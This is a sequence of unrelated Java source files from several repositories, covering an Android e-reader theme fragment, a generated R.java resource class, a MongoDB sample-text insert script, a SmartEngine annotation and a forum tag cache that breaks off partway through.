allwhiteTheme.setBackgroundResource(R.drawable.read_allwhite_theme); beigeTheme.setBackgroundResource(R.drawable.read_beige_theme); whitepaperTheme.setBackgroundResource(R.drawable.read_whitepaper_theme); pinkTheme.setBackgroundResource(R.drawable.read_pink_theme); paper_yellow_Theme.setBackgroundResource(R.drawable.read_paper_yellow_theme); blueTheme.setBackgroundResource(R.drawable.read_blue_theme_highlight); greyTheme.setBackgroundResource(R.drawable.read_grey_theme); caramelTheme.setBackgroundResource(R.drawable.read_caramel_theme); sepiaTheme.setBackgroundResource(R.drawable.read_sepia_theme); } private void loadBlueStyle() { setupBlueStyle(); // save color to user setting LocalUserSetting.saveReading_Background_Color(context,0xFF08598C); LocalUserSetting.saveReading_Background_Texture(context,-1); LocalUserSetting.saveReading_Text_Color(context, 0xFFCEE7F7); LocalUserSetting.saveIgnoreCssTextColor(context, true); Intent intent = new Intent(ReadOverlayActivity.ACTION_READSTYLE_CHANGE); LocalBroadcastManager.getInstance(context).sendBroadcast(intent); } private void setupGreyStyle() { allwhiteTheme.setBackgroundResource(R.drawable.read_allwhite_theme); beigeTheme.setBackgroundResource(R.drawable.read_beige_theme); whitepaperTheme.setBackgroundResource(R.drawable.read_whitepaper_theme); pinkTheme.setBackgroundResource(R.drawable.read_pink_theme); paper_yellow_Theme.setBackgroundResource(R.drawable.read_paper_yellow_theme); blueTheme.setBackgroundResource(R.drawable.read_blue_theme); greyTheme.setBackgroundResource(R.drawable.read_grey_theme_highlight); caramelTheme.setBackgroundResource(R.drawable.read_caramel_theme); sepiaTheme.setBackgroundResource(R.drawable.read_sepia_theme); } private void loadGreyStyle() { setupGreyStyle(); // save color to user setting LocalUserSetting.saveReading_Background_Color(context,0xFF104139); LocalUserSetting.saveReading_Background_Texture(context,-1); LocalUserSetting.saveReading_Text_Color(context, 0xFFEFEBD6); LocalUserSetting.saveIgnoreCssTextColor(context, true); Intent intent = new Intent(ReadOverlayActivity.ACTION_READSTYLE_CHANGE); LocalBroadcastManager.getInstance(context).sendBroadcast(intent); } private void setupCaramelStyle() { allwhiteTheme.setBackgroundResource(R.drawable.read_allwhite_theme); beigeTheme.setBackgroundResource(R.drawable.read_beige_theme); whitepaperTheme.setBackgroundResource(R.drawable.read_whitepaper_theme); pinkTheme.setBackgroundResource(R.drawable.read_pink_theme); paper_yellow_Theme.setBackgroundResource(R.drawable.read_paper_yellow_theme); blueTheme.setBackgroundResource(R.drawable.read_blue_theme); greyTheme.setBackgroundResource(R.drawable.read_grey_theme); caramelTheme.setBackgroundResource(R.drawable.read_caramel_theme_highlight); sepiaTheme.setBackgroundResource(R.drawable.read_sepia_theme); } private void loadCaramelStyle() { setupCaramelStyle(); // save color to user setting LocalUserSetting.saveReading_Background_Color(context,0xFF21495A); LocalUserSetting.saveReading_Background_Texture(context,-1); LocalUserSetting.saveReading_Text_Color(context, 0xFFEFE3E7); LocalUserSetting.saveIgnoreCssTextColor(context, true); Intent intent = new Intent(ReadOverlayActivity.ACTION_READSTYLE_CHANGE); LocalBroadcastManager.getInstance(context).sendBroadcast(intent); } private void setupSepiaamelStyle() { allwhiteTheme.setBackgroundResource(R.drawable.read_allwhite_theme); beigeTheme.setBackgroundResource(R.drawable.read_beige_theme); whitepaperTheme.setBackgroundResource(R.drawable.read_whitepaper_theme); pinkTheme.setBackgroundResource(R.drawable.read_pink_theme); paper_yellow_Theme.setBackgroundResource(R.drawable.read_paper_yellow_theme); blueTheme.setBackgroundResource(R.drawable.read_blue_theme); greyTheme.setBackgroundResource(R.drawable.read_grey_theme); caramelTheme.setBackgroundResource(R.drawable.read_caramel_theme); sepiaTheme.setBackgroundResource(R.drawable.read_sepia_theme_highlight); } private void loadSepiaStyle() { setupSepiaamelStyle(); // save color to user setting LocalUserSetting.saveReading_Background_Color(context,0xFF212421); LocalUserSetting.saveReading_Background_Texture(context,-1); LocalUserSetting.saveReading_Text_Color(context, 0xFFEFE3E8); LocalUserSetting.saveIgnoreCssTextColor(context, true); Intent intent = new Intent(ReadOverlayActivity.ACTION_READSTYLE_CHANGE); LocalBroadcastManager.getInstance(context).sendBroadcast(intent); } private void setupNightMode() { if (LocalUserSetting.getReading_Night_Model(context)) { rootView.setBackgroundColor(getResources().getColor(R.color.n_bg_main)); ((TextView)rootView.findViewById(R.id.allwhiteThemeText)).setTextColor(getResources().getColor(R.color.n_text_main)); ((TextView)rootView.findViewById(R.id.beigeThemeText)).setTextColor(getResources().getColor(R.color.n_text_main)); ((TextView)rootView.findViewById(R.id.whitepaperThemeText)).setTextColor(getResources().getColor(R.color.n_text_main)); ((TextView)rootView.findViewById(R.id.pinkThemeText)).setTextColor(getResources().getColor(R.color.n_text_main)); ((TextView)rootView.findViewById(R.id.paper_yellow_ThemeText)).setTextColor(getResources().getColor(R.color.n_text_main)); ((TextView)rootView.findViewById(R.id.blueThemeText)).setTextColor(getResources().getColor(R.color.n_text_main)); ((TextView)rootView.findViewById(R.id.greyThemeText)).setTextColor(getResources().getColor(R.color.n_text_main)); ((TextView)rootView.findViewById(R.id.caramelThemeText)).setTextColor(getResources().getColor(R.color.n_text_main)); ((TextView)rootView.findViewById(R.id.sepiaThemeText)).setTextColor(getResources().getColor(R.color.n_text_main)); rootView.findViewById(R.id.color_divider1).setBackgroundColor(getResources().getColor(R.color.n_hariline)); rootView.findViewById(R.id.color_divider2).setBackgroundColor(getResources().getColor(R.color.n_hariline)); rootView.findViewById(R.id.color_space1).setBackgroundColor(getResources().getColor(R.color.n_bg_sub)); } else { rootView.setBackgroundColor(getResources().getColor(R.color.r_bg_main)); ((TextView)rootView.findViewById(R.id.allwhiteThemeText)).setTextColor(getResources().getColor(R.color.r_text_main)); ((TextView)rootView.findViewById(R.id.beigeThemeText)).setTextColor(getResources().getColor(R.color.r_text_main)); ((TextView)rootView.findViewById(R.id.whitepaperThemeText)).setTextColor(getResources().getColor(R.color.r_text_main)); ((TextView)rootView.findViewById(R.id.pinkThemeText)).setTextColor(getResources().getColor(R.color.r_text_main)); ((TextView)rootView.findViewById(R.id.paper_yellow_ThemeText)).setTextColor(getResources().getColor(R.color.r_text_main)); ((TextView)rootView.findViewById(R.id.blueThemeText)).setTextColor(getResources().getColor(R.color.r_text_main)); ((TextView)rootView.findViewById(R.id.greyThemeText)).setTextColor(getResources().getColor(R.color.r_text_main)); ((TextView)rootView.findViewById(R.id.caramelThemeText)).setTextColor(getResources().getColor(R.color.r_text_main)); ((TextView)rootView.findViewById(R.id.sepiaThemeText)).setTextColor(getResources().getColor(R.color.r_text_main)); rootView.findViewById(R.id.color_divider1).setBackgroundColor(getResources().getColor(R.color.r_hariline)); rootView.findViewById(R.id.color_divider2).setBackgroundColor(getResources().getColor(R.color.r_hariline)); rootView.findViewById(R.id.color_space1).setBackgroundColor(getResources().getColor(R.color.r_bg_sub)); } } @Override public void onDestroyView() { super.onDestroyView(); } @Override public void onDestroy() { super.onDestroy(); EventBus.getDefault().unregister(this); } @Override public void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); } }
a-running-snail/read-android
src/com/jingdong/app/reader/reading/readingsetting/ReadingBgFirstFragment.java
65,519
/* AUTO-GENERATED FILE. DO NOT MODIFY. * * This class was automatically generated by the * aapt tool from the resource data it found. It * should not be modified by hand. */ package com.mindmac.applog; public final class R { public static final class attr { } public static final class color { /** 蜜色 */ public static final int aliceblue=0x7f04002d; /** 亚麻色 */ public static final int antiquewhite=0x7f040023; /** 中灰兰色 */ public static final int aqua=0x7f040083; /** 粟色 */ public static final int aquamarine=0x7f040064; /** 沙褐色 */ public static final int azure=0x7f04002b; /** 烟白色 */ public static final int beige=0x7f040028; /** 浅玫瑰色 */ public static final int bisque=0x7f04000e; /** 海军色 */ public static final int black=0x7f040092; /** 番木色 */ public static final int blanchedalmond=0x7f04000c; /** 暗绿色 */ public static final int blue=0x7f04008e; /** 暗红色 */ public static final int blueviolet=0x7f04005c; /** 暗灰色 */ public static final int brown=0x7f040051; /** 亮青色 */ public static final int burlywood=0x7f040035; /** 菊兰色 */ public static final int cadetblue=0x7f040072; /** 碧绿色 */ public static final int chartreuse=0x7f040065; /** 茶色 */ public static final int chocolate=0x7f040040; /** 暗桔黄色 */ public static final int coral=0x7f040018; /** 中绿色 */ public static final int cornflowerblue=0x7f040071; /** 柠檬绸色 */ public static final int cornsilk=0x7f040008; /** 淡灰色 */ public static final int crimson=0x7f040038; /** 浅绿色 */ public static final int cyan=0x7f040084; /** 中兰色 */ public static final int darkblue=0x7f040090; /** 深天蓝色 */ public static final int darkcyan=0x7f04008a; /** 中粉紫色 */ public static final int darkgoldenrod=0x7f040048; /** 亮蓝色 */ public static final int darkgray=0x7f04004f; /** 绿色 */ public static final int darkgreen=0x7f04008d; /** 暗灰色 */ public static final int darkgrey=0x7f040050; /** 银色 */ public static final int darkkhaki=0x7f040045; /** 重褐色 */ public static final int darkmagenta=0x7f04005a; /** 军兰色 */ public static final int darkolivegreen=0x7f040073; /** 亮肉色 */ public static final int darkorange=0x7f040017; /** 赭色 */ public static final int darkorchid=0x7f040053; /** 暗洋红 */ public static final int darkred=0x7f04005b; /** 紫罗兰色 */ public static final int darksalmon=0x7f040032; /** 亮绿色 */ public static final int darkseagreen=0x7f040058; /** 中绿宝石 */ public static final int darkslateblue=0x7f040076; /** 橙绿色 */ public static final int darkslategray=0x7f04007c; /** 暗瓦灰色 */ public static final int darkslategrey=0x7f04007d; /** 中春绿色 */ public static final int darkturquoise=0x7f040088; /** 苍绿色 */ public static final int darkviolet=0x7f040055; /** 红橙色 */ public static final int deeppink=0x7f04001c; /** 暗宝石绿 */ public static final int deepskyblue=0x7f040089; /** 石蓝色 */ public static final int dimgray=0x7f04006e; /** 暗灰色 */ public static final int dimgrey=0x7f04006f; /** 亮海蓝色 */ public static final int dodgerblue=0x7f040081; /** 暗金黄色 */ public static final int firebrick=0x7f040049; /** 雪白色 */ public static final int floralwhite=0x7f040006; /** 海绿色 */ public static final int forestgreen=0x7f04007f; /** 深粉红色 */ public static final int fuchsia=0x7f04001d; /** 洋李色 */ public static final int gainsboro=0x7f040037; /** 鲜肉色 */ public static final int ghostwhite=0x7f040025; /** 桃色 */ public static final int gold=0x7f040012; /** 苍紫罗兰色 */ public static final int goldenrod=0x7f04003a; /** 天蓝色 */ public static final int gray=0x7f04005f; /** 水鸭色 */ public static final int green=0x7f04008c; /** 苍宝石绿 */ public static final int greenyellow=0x7f04004d; /** 灰色 */ public static final int grey=0x7f040060; /** 天蓝色 */ public static final int honeydew=0x7f04002c; /** 珊瑚色 */ public static final int hotpink=0x7f040019; /** 秘鲁色 */ public static final int indianred=0x7f040042; /** 暗橄榄绿 */ public static final int indigo=0x7f040074; /** 白色 */ public static final int ivory=0x7f040002; /** 艾利斯兰 */ public static final int khaki=0x7f04002e; /** 暗肉色 */ public static final int lavender=0x7f040033; /** 海贝色 */ public static final int lavenderblush=0x7f04000a; /** 黄绿色 */ public static final int lawngreen=0x7f040066; /** 花白色 */ public static final int lemonchiffon=0x7f040007; /** 黑色 */ public static final int light_red=0x7f040093; /** 黄绿色 */ public static final int lightblue=0x7f04004e; /** 黄褐色 */ public static final int lightcoral=0x7f04002f; /** 淡紫色 */ public static final int lightcyan=0x7f040034; /** 老花色 */ public static final int lightgoldenrodyellow=0x7f040021; /** 蓟色 */ public static final int lightgray=0x7f04003d; /** 中紫色 */ public static final int lightgreen=0x7f040057; /** 亮灰色 */ public static final int lightgrey=0x7f04003e; /** 粉红色 */ public static final int lightpink=0x7f040014; /** 橙色 */ public static final int lightsalmon=0x7f040016; /** 森林绿 */ public static final int lightseagreen=0x7f040080; /** 紫罗兰蓝色 */ public static final int lightskyblue=0x7f04005d; /** 中暗蓝色 */ public static final int lightslategray=0x7f040068; /** 亮蓝灰 */ public static final int lightslategrey=0x7f040069; /** 粉蓝色 */ public static final int lightsteelblue=0x7f04004b; /** 象牙色 */ public static final int lightyellow=0x7f040003; /** 春绿色 */ public static final int lime=0x7f040086; /** 中海蓝 */ public static final int limegreen=0x7f04007b; /** 亮金黄色 */ public static final int linen=0x7f040022; /** 紫红色 */ public static final int magenta=0x7f04001e; /** 紫色 */ public static final int maroon=0x7f040063; /** 暗灰色 */ public static final int mediumaquamarine=0x7f040070; /** 蓝色 */ public static final int mediumblue=0x7f04008f; /** 褐玫瑰红 */ public static final int mediumorchid=0x7f040047; /** 暗紫罗兰色 */ public static final int mediumpurple=0x7f040056; /** 青绿色 */ public static final int mediumseagreen=0x7f04007a; /** 草绿色 */ public static final int mediumslateblue=0x7f040067; /** 酸橙色 */ public static final int mediumspringgreen=0x7f040087; /** 靛青色 */ public static final int mediumturquoise=0x7f040075; /** 印第安红 */ public static final int mediumvioletred=0x7f040043; /** 闪兰色 */ public static final int midnightblue=0x7f040082; /** 幽灵白 */ public static final int mintcream=0x7f040026; /** 白杏色 */ public static final int mistyrose=0x7f04000d; /** 桔黄色 */ public static final int moccasin=0x7f04000f; /** 鹿皮色 */ public static final int navajowhite=0x7f040010; /** 暗蓝色 */ public static final int navy=0x7f040091; /** 红色 */ public static final int oldlace=0x7f040020; /** 灰色 */ public static final int olive=0x7f040061; /** 灰石色 */ public static final int olivedrab=0x7f04006c; /** 亮粉红色 */ public static final int orange=0x7f040015; /** 西红柿色 */ public static final int orangered=0x7f04001b; /** 金麒麟色 */ public static final int orchid=0x7f04003b; /** 亮珊瑚色 */ public static final int palegoldenrod=0x7f040030; /** 暗紫色 */ public static final int palegreen=0x7f040054; /** 亮钢兰色 */ public static final int paleturquoise=0x7f04004c; /** 暗深红色 */ public static final int palevioletred=0x7f040039; /** 淡紫红 */ public static final int papayawhip=0x7f04000b; /** 纳瓦白 */ public static final int peachpuff=0x7f040011; /** 巧可力色 */ public static final int peru=0x7f040041; /** 金色 */ public static final int pink=0x7f040013; /** 实木色 */ public static final int plum=0x7f040036; /** 火砖色 */ public static final int powderblue=0x7f04004a; /** 橄榄色 */ public static final int purple=0x7f040062; /** 红紫色 */ public static final int red=0x7f04001f; /** 暗黄褐色 */ public static final int rosybrown=0x7f040046; /** 钢兰色 */ public static final int royalblue=0x7f040078; /** 暗海兰色 */ public static final int saddlebrown=0x7f040059; /** 古董白 */ public static final int salmon=0x7f040024; /** 浅黄色 */ public static final int sandybrown=0x7f04002a; /** 暗瓦灰色 */ public static final int seagreen=0x7f04007e; /** 米绸色 */ public static final int seashell=0x7f040009; /** 褐色 */ public static final int sienna=0x7f040052; /** 中紫罗兰色 */ public static final int silver=0x7f040044; /** 亮天蓝色 */ public static final int skyblue=0x7f04005e; /** 深绿褐色 */ public static final int slateblue=0x7f04006d; /** 亮蓝灰 */ public static final int slategray=0x7f04006a; /** 灰石色 */ public static final int slategrey=0x7f04006b; public static final int slightblue=0x7f040000; /** 黄色 */ public static final int snow=0x7f040005; /** 青色 */ public static final int springgreen=0x7f040085; /** 暗灰蓝色 */ public static final int steelblue=0x7f040077; /** 亮灰色 */ public static final int tan=0x7f04003f; /** 暗青色 */ public static final int teal=0x7f04008b; /** 淡紫色 */ public static final int thistle=0x7f04003c; /** 热粉红色 */ public static final int tomato=0x7f04001a; /** 皇家蓝 */ public static final int turquoise=0x7f040079; /** 苍麒麟色 */ public static final int violet=0x7f040031; /** 米色 */ public static final int wheat=0x7f040029; public static final int white=0x7f040001; /** 薄荷色 */ public static final int whitesmoke=0x7f040027; /** 亮黄色 */ public static final int yellow=0x7f040004; } public static final class dimen { /** Default screen margins, per the Android Design guidelines. Example customization of dimensions originally defined in res/values/dimens.xml (such as screen margins) for screens with more than 820dp of available width. This would include 7" and 10" devices in landscape (~960dp and ~1280dp respectively). */ public static final int activity_horizontal_margin=0x7f050000; public static final int activity_vertical_margin=0x7f050001; } public static final class drawable { public static final int arrow=0x7f020000; public static final int checkmark=0x7f020001; public static final int checkmark_outline=0x7f020002; public static final int ic_launcher=0x7f020003; public static final int java_class=0x7f020004; public static final int java_method=0x7f020005; public static final int java_package=0x7f020006; public static final int selector_item_apps_list=0x7f020007; } public static final class id { public static final int action_settings=0x7f090013; public static final int cbMethodLog=0x7f09000d; public static final int container=0x7f090000; public static final int imgAppArrow=0x7f090004; public static final int ivAppIcon=0x7f090002; public static final int ivClassIcon=0x7f090007; public static final int ivMethodIcon=0x7f09000b; public static final int ivPackageIcon=0x7f090010; public static final int lvApp=0x7f090005; public static final int lvClass=0x7f090009; public static final int lvMethod=0x7f09000e; public static final int lvPackage=0x7f090012; public static final int menu_about=0x7f090019; public static final int menu_all_apps=0x7f090016; public static final int menu_check_all=0x7f09001b; public static final int menu_clear_all=0x7f09001c; public static final int menu_info=0x7f09001d; public static final int menu_launch=0x7f09001a; public static final int menu_output=0x7f090015; public static final int menu_refresh=0x7f090014; public static final int menu_system_apps=0x7f090017; public static final int menu_user_apps=0x7f090018; public static final int rlApp=0x7f090001; public static final int rlClass=0x7f090006; public static final int rlMethod=0x7f09000a; public static final int rlPackage=0x7f09000f; public static final int tvAppName=0x7f090003; public static final int tvClassName=0x7f090008; public static final int tvMethodName=0x7f09000c; public static final int tvPackageName=0x7f090011; } public static final class layout { public static final int about=0x7f030000; public static final int activity_main=0x7f030001; public static final int app_item=0x7f030002; public static final int app_list=0x7f030003; public static final int class_item=0x7f030004; public static final int class_list=0x7f030005; public static final int fragment_main=0x7f030006; public static final int method_item=0x7f030007; public static final int method_list=0x7f030008; public static final int package_item=0x7f030009; public static final int package_list=0x7f03000a; } public static final class menu { public static final int main=0x7f080000; public static final int menu_app=0x7f080001; public static final int method_menu=0x7f080002; } public static final class string { public static final int action_settings=0x7f060002; public static final int app_name=0x7f060000; public static final int hello_world=0x7f060001; public static final int menu_about=0x7f060011; public static final int menu_all_apps=0x7f06000d; public static final int menu_app_info=0x7f060015; public static final int menu_app_launch=0x7f060012; public static final int menu_check_all=0x7f060013; public static final int menu_clear_all=0x7f060014; public static final int menu_default=0x7f06000c; /** Menu Information */ public static final int menu_json=0x7f06000b; public static final int menu_refresh=0x7f060010; public static final int menu_system_apps=0x7f06000e; public static final int menu_user_apps=0x7f06000f; public static final int msg_about=0x7f060003; public static final int msg_author=0x7f060004; public static final int msg_email=0x7f060005; public static final int msg_enable_xposed=0x7f06000a; public static final int msg_github=0x7f060007; public static final int msg_loading=0x7f060009; public static final int msg_risk=0x7f060006; public static final int msg_sure=0x7f060008; } public static final class style { /** Base application theme, dependent on API level. This theme is replaced by AppBaseTheme from res/values-vXX/styles.xml on newer devices. Theme customizations available in newer API levels can go in res/values-vXX/styles.xml, while customizations related to backward-compatibility can go here. Base application theme for API 11+. This theme completely replaces AppBaseTheme from res/values/styles.xml on API 11+ devices. API 11 theme customizations can go here. Base application theme for API 14+. This theme completely replaces AppBaseTheme from BOTH res/values/styles.xml and res/values-v11/styles.xml on API 14+ devices. API 14 theme customizations can go here. */ public static final int AppBaseTheme=0x7f070000; /** Application theme. All customizations that are NOT specific to a particular API-level can go here. */ public static final int AppTheme=0x7f070001; } }
MindMac/AndroidAppLog
gen/com/mindmac/applog/R.java
65,520
package com.decrain.spark.mllib.dao; import com.google.gson.Gson; import com.mongodb.DB; import com.mongodb.DBCollection; import com.mongodb.DBObject; import com.mongodb.MongoClient; import com.mongodb.util.JSON; import org.apache.log4j.PropertyConfigurator; import com.decrain.spark.mllib.dto.data; /** * Created by Decrain on 2017/8/15. */ public class MongoDBConnect { public static void main(String args[]) { String log4jConfPath = "/Users/decrain/IdeaProjects/Classifier/log4j.properties"; PropertyConfigurator.configure(log4jConfPath); MongoClient mongoClient = new MongoClient("localhost", 27017); DB db = mongoClient.getDB("TextClassifier"); DBCollection collection = db.getCollection("data"); DBCollection collection1 = db.getCollection("cur"); String[] temp = new String[100]; temp[0] = "自2008年首款 Andriod 系统推出以来,Google 一直提倡与App 开发者,设备制造商,及广大用户共享 Android 平台的预览版,并期望收到技术方面的反馈。今日, Google 发布首个 Android O 开发者预览版。 虽然作为早期预览版来说,很多新特性未正式加入其中,在稳定性与性能方面也需要更多改进,但这仅仅是一个开端在接下来的几个月中,Google 将发布开发者预览版的更新,更多详情将在今年 5 月的 Google I/O 大会上揭晓。同时,Google 也期待收到开发者关于新特性的反馈,也希望有更多开发者在这新的操作系统中对 App 进行测试。"; //temp = "晴朗的天空,我们常看到喷气式飞机在高空飞行时,机身后边会出现一条或数条长长的“白烟”。其实,这不是喷气式飞机喷出来的烟,而是飞机排出来的废气与周围环境空气混合后,水汽凝结而成的特殊云系,航空飞行界和航空气象学上称之为飞机尾迹"; temp[1] = "2017年7月19日,东风雪铁龙旗下全新紧凑型SUV天逸 C5 AIRCROSS在神龙汽车成都工厂正式下线,搜狐汽车抢先与东风雪铁龙的车总和饶总进行了产品设计方面的沟通"; temp[2] = "海军部队将在青岛至连云港以东海域组织大型军事活动。为确保安全,请各船舶特别注意:2017年7月27日0800至7月29日1800,不得进入下图所示临时禁航区,含91-95、101-105、111-115号、120-123号渔区,并听从外围警戒舰艇指挥,以策安全。——中国人民解放军91208部队"; temp[3] = "sdgfklasdngksdngosdgn"; temp[4] = "美联社说,美国与澳大利亚刚刚完成大型联合军事演习,双方派出36艘战舰、220架飞机及3.3万名士兵,期间遭到中国海军情报船监视。"; temp[5] = "据考试院介绍,在刚刚结束的本科二批次录取中,372所院校在京参加二批录取,计划招生14351人,实际录取15124人,较计划增加773人。其中文史类招生计划4435人,实际录取4525人,较计划增加了90人;理工类招生计划9916人,实际录取10599人,较计划增加了683人"; temp[6] = "按照全国考办的统一部署,2006年度全国会计专业技术资格考试定于5月20日、21日举行。准考证现已制作完毕,请县市区考生持身份证"; temp[7] = "《魔兽世界》一直是喜欢怀旧们的老铁心目中最值得回忆的游戏之一,而有一些外国技术宅也致力于通过私服的方式还原老版本的《魔兽世界》。这不,有一群外国粉丝进行了一个菲米丝计划(Felmyst project):一个打算让玩家重温“燃烧的远征”资料片的私服。该项目酝酿了四年之久,却在正式开服5小时之后,被暴雪无情关闭。"; temp[8] = "意甲本周末拉齐奥与帕尔马之战为收官阶段表现较为突出的两支球队之间的较量,两队在最"; temp[9] = "Can we make this quick? Roxanne Korrine and Andrew Barrett are having an incredibly horrendous public break- up on the quad. Again."; temp[10] = "半年後に銀行融資を受けたいのだが、今から何を準備すればいいのか?"; temp[11] = "代わりと言っては何ですが、???私が、いささか、ご指南いたしましょう。退職を契機に茶道を始めた。滞りのない、優雅な仕草でグラスに水を注ぎ込んだ体壊したらどうするんだ。アンバランスな食事は、万病の元だぞ。"; temp[12] = "本報訊 蘇崇琦、吳春輝報道:11月上旬,筆者在第20集團軍某團「戰神杯」千人百崗練兵比武場上看到:汽車連駕駛員李鵬在無千斤頂的情況下快速更換輪胎,用時不到5分鐘。教練班長沙仕萬和他所帶的徒弟謝家勝,包攬了瞄準手專業冠亞軍。該團團長王洪輝説,這是他們開展千人百崗大練兵帶來的可喜變化。"; temp[13] = "表示的測試總時長爲1180秒,總里程:11.007km,圖中有Part1和PArt2兩部分"; temp[14] = "買車時的售價雖然很重要,但之後養車的費用更是令許多人頭痛!養車成本主要可從擁車 3 年與 10 年兩個期間來看,大部分車款3年後都已過原廠保固,而 10 年則是一般車輛長期保養成本的分水嶺,也是民眾考慮換車的時候。美國《消費者報告 Consumer Reports》近日公布一項調查統計,比較平均保養成本。"; temp[15] = "美國相當具權威的《消費者報告 Consumer Reports》調查 32 家車廠,同時針對車主所提供的保養、維修費用進行統計,分別列出 3 年車與 10 年車的每年平均養車成本,數據顯示為 2014 年與 2007 年,其中部分品牌因為停產緣故,沒有 3 年養車成本數據,但仍可以比較 10 年養車成本。"; /* * 字符串读取 * */ data data = new data(); for (int i = 0; i < 15; i++) { data.setText(temp[i]); Gson gson = new Gson(); //转换成json字符串,再转换成DBObject对象 DBObject dbObject = (DBObject) JSON.parse(gson.toJson(data)); //插入数据库 collection.insert(dbObject); } /*、 * * txt文件存入mongodb数据库 * */ /* String[] dirNames = new File("/Users/decrain/IdeaProjects/Classifier/target/classes/data/ceshi").list(); //System.out.println("路径: "+CLASS_PATH); if(null==dirNames || dirNames.length==0){ new Exception("data is null").printStackTrace(); return; } //DBCollection collection1 = db.getCollection("cur"); DBCursor cur1 = collection1.find(); //获取cur数据库中的ID值 int t=0; while (cur1.hasNext()) { t = Integer.parseInt(cur1.next().get("cur").toString()); } for(String dirName:dirNames) { File f = null; f = new File("/Users/decrain/IdeaProjects/Classifier/target/classes/data/ceshi"+'/'+dirName); System.out.println(dirName); File[] files = f.listFiles(); // 得到f文件夹下面的所有文件。 List<File> list = new ArrayList<File>(); for (File file : files) { list.add(file); } data data = new data(); for (File file : files) { System.out.println("文件名字: " + file.getName()); String text = FileUtils.readFile(file.getAbsolutePath()); text = text.replaceAll("\t",""); text = text.replaceAll("\n",""); text = text.replaceAll("\r",""); text = text.replaceAll("\\u0000",""); data.setText(text.toString()); data.setID(t); t += 1; Gson gson = new Gson(); //转换成json字符串,再转换成DBObject对象 DBObject dbObject = (DBObject) JSON.parse(gson.toJson(data)); //插入数据库 collection.insert(dbObject); } }*/ /* * 字符串读取 * */ /*data data = new data(); for (int i = 0; i < 3; i++) { data.setText(temp[i]); Gson gson = new Gson(); //转换成json字符串,再转换成DBObject对象 DBObject dbObject = (DBObject) JSON.parse(gson.toJson(data)); //插入数据库 collection.insert(dbObject); }*/ /*DBCursor cur = collection1.find(); while (cur.hasNext()) { System.out.println(cur.next().get("cur"));*/ /*cur cur = new cur(); cur.setCur(0); Gson gson=new Gson(); //转换成json字符串,再转换成DBObject对象 DBObject dbObject = (DBObject) JSON.parse(gson.toJson(cur)); //插入数据库 collection1.insert(dbObject);*/ //db游标 /* DBCursor cur1 = collection1.find(); while (cur1.hasNext()){ DBCursor cur = collection.find(new BasicDBObject("_id", new BasicDBObject("$gte", cur1.next().get("cur")))); while (cur.hasNext()) { System.out.println(cur.next().get("text").toString()+'\n'); System.out.println(cur.next().get("_id")); Object t = cur.next().get("_id"); BasicDBObject doc = new BasicDBObject(); BasicDBObject res = new BasicDBObject(); res.put("cur",t); doc.put("$set",res); collection1.update(new BasicDBObject(),doc,false,true); } } */ //更新数据 /* BasicDBObject doc = new BasicDBObject(); BasicDBObject res = new BasicDBObject(); res.put("cur",t); doc.put("$set",res); collection1.update(new BasicDBObject(),doc,false,true);*/ // data.setText(); /* Gson gson=new Gson(); //转换成json字符串,再转换成DBObject对象 DBObject dbObject = (DBObject) JSON.parse(gson.toJson(data)); //插入数据库 collection.insert(dbObject); BasicDBObject document = new BasicDBObject(); document.put("id", 1001); document.put("msg", "hello world mongoDB in Java"); //将新建立的document保存到collection中去 collection.insert(document); // 创建要查询的document BasicDBObject searchQuery = new BasicDBObject(); searchQuery.put("id", 1001); // 使用collection的find方法查找document DBCursor cursor = collection.find(searchQuery); //循环输出结果 while (cursor.hasNext()) { System.out.println(cursor.next()); } System.out.println("Done");*/ } }
Decrain/classifier
src/main/java/com/decrain/spark/mllib/dao/MongoDBConnect.java
65,521
package com.alibaba.smart.framework.engine.annotation; import java.lang.annotation.Documented; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; /** * Created by 高海军 帝奇 74394 on 2019-11-12 16:07. * * 用于标记这段代码可能是临时性方案,目前特别好的处理方法。相当于 WONT FIX . */ @Target({ElementType.METHOD}) @Retention(RetentionPolicy.RUNTIME) @Documented public @interface WorkAround { }
alibaba/SmartEngine
core/src/main/java/com/alibaba/smart/framework/engine/annotation/WorkAround.java
65,522
package com.yyw.community.mycommunity.cache; import com.yyw.community.mycommunity.dto.TagDTO; import org.thymeleaf.util.StringUtils; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import java.util.stream.Collectors; import java.util.stream.Stream; /** * @author Dantence * @date 2022/7/19 */ public class TagCache { public static List<TagDTO> getTags() { List<TagDTO> tagDTOS = new ArrayList<>(); TagDTO t1 = new TagDTO(); t1.setCategoryName("开发相关"); t1.setTags(Arrays.asList("Java", "Cpp", "C", "SpringBoot", "Python", "HTML", "CSS", "JavaScript", "MySQL", "golang", "node.js", "shell", "rust", "php", "asp.net", "swift", "bash", "less", "lua", "C#", "git", "github", "mysql", "redis", "mongodb", "vim", "intellij-idea", "Vue", "React")); tagDTOS.add(t1); TagDTO t2 = new TagDTO(); t2.setCategoryName("校园"); t2.setTags(Arrays.asList("日常", "树洞", "食堂", "宿舍", "体育馆", "图书馆", "教室", "失物招领", "交易", "广告", "活动", "竞赛", "课程", "考研", "就业", "论文", "教程")); tagDTOS.add(t2); TagDTO t3 = new TagDTO(); t3.setCategoryName("科技"); t3.setTags(Arrays.asList("科技", "前沿")); tagDTOS.add(t3); TagDTO t4 = new TagDTO(); t4.setCategoryName("历史"); t4.setTags(Arrays.asList("历史", "历史观")); tagDTOS.add(t4); TagDTO t5 = new TagDTO(); t5.setCategoryName("政治"); t5.setTags(Arrays.asList("政治", "二十大")); tagDTOS.add(t5); TagDTO t6 = new TagDTO(); t6.setCategoryName("军事"); t6.setTags(Arrays.asList("武器", "陆军", "海军", "空军")); tagDTOS.add(t6); TagDTO t7 = new TagDTO(); t7.setCategoryName("音乐"); t7.setTags(Arrays.asList("音乐", "音乐风格")); tagDTOS.add(t7); TagDTO t8 = new TagDTO(); t8.setCategoryName("游戏"); t8.setTags(Arrays.asList("游戏", "游戏类型")); tagDTOS.add(t8); TagDTO t9 = new TagDTO(); t9.setCategoryName("书籍"); t9.setTags(Arrays.asList("书籍", "书籍类型")); tagDTOS.add(t9); TagDTO t10 = new TagDTO(); t10.setCategoryName("情感"); t10.setTags(Arrays.asList("情感", "心理")); tagDTOS.add(t10); TagDTO t11 = new TagDTO(); t11.setCategoryName("娱乐"); t11.setTags(Arrays.asList("娱乐圈", "吃瓜")); tagDTOS.add(t11); TagDTO 